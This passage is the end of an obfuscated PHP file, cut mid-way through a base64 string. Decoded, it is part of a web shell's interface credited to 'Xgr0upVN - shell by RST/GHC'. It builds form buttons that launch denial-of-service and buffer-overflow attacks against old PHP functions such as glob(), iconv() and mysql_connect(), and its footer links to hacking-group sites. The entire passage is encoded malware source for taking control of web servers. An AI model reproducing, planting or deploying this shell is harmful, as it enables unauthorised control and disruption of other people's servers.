CwnZG9zMjUnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdEb1MgW2dsb2IoKV0gMSAoUEhQPDUuMi54KScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MyNicpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0RvUyBbZ2xvYigpXSAyIChQSFA8NS4yLngpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczI3JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnRG9TIFtmbm1hdGNoKCldKFBIUDw1LjIueCknKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMjgnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW2ltYWdlcHNsb2FkZm9udCgpXShQSFA8NS4yLngpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczI5JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIG1TUUwgW21zcWxfY29ubmVjdF0oUEhQPDUuMi54KScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MzMCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbY2h1bmtfc3BsaXQoKV0oUEhQPDUuMi54KScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MzMScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbcGhwX3dpbjMyc3RpLmRsXShQSFA8NS4yLngpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczMyJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFtwaHBfaWlzZnVuYy5kbGxdKFBIUDw1LjIueCknKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMzMnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW250dXNlcl9nZXR1c2VybGlzdCgpXShQSFA8NS4yLngpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczM0JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnRG9TIFtjb21fcHJpbnRfdHlwZWluZm8oKV0oUEhQPDUuMi54KScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MzNScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbaWNvbnYoKV0oUEhQPDUuMi54KScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MzNicpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbaWNvbnZfbV9kX2hlYWRlcnMoKV0oUEhQPDUuMi54KScpLiRmZSk7DQplY2hvICR0ZS4iPC90ZD48dGQgdmFsaWduPXRvcCB3aWR0aD0yNSU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgY29sb3I9cmVkIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzMSddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MzNycpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbaWNvbnZfbWltZV9kZWNvZGUoKV0oUEhQPDUuMi54KScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MzOCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbaWNvbnZfc3RybGVuKCldKFBIUDw1LjIueCknKS4kZmUpOw0KLyplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgWygpXShQSFA8NS4yLngpJykuJGZlKTsqLw0KZWNobyAkdGUuIjwvdGQ+PC90cj48L2Rpdj48L3RhYmxlPiI7DQplY2hvICc8L3RhYmxlPicuJHRhYmxlX3VwMy4iPC9kaXY+PC9kaXY+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPm8tLS1bIFhncjB1cFZOIC0gc2hlbGwgYnkgUlNUL0dIQyB8IDxhIGhyZWY9aHR0cDovL1hncjB1cFZOLlZuPmh0dHA6Ly9YZ3IwdXBWTi5WbjwvYT4gfCA8YSBocmVmPWh0dHA6Ly9oY2Vncm91cC5uZXQ+SEBjaytDckBjaz1FbmoweSE8L2E+IHwgRGVzaWduIGJ5OiBBbHVDYVIgfCB2ZXJzaW9uICIuJHZlcnNpb24uIiBdLS0tbzwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+Ijs='));
?>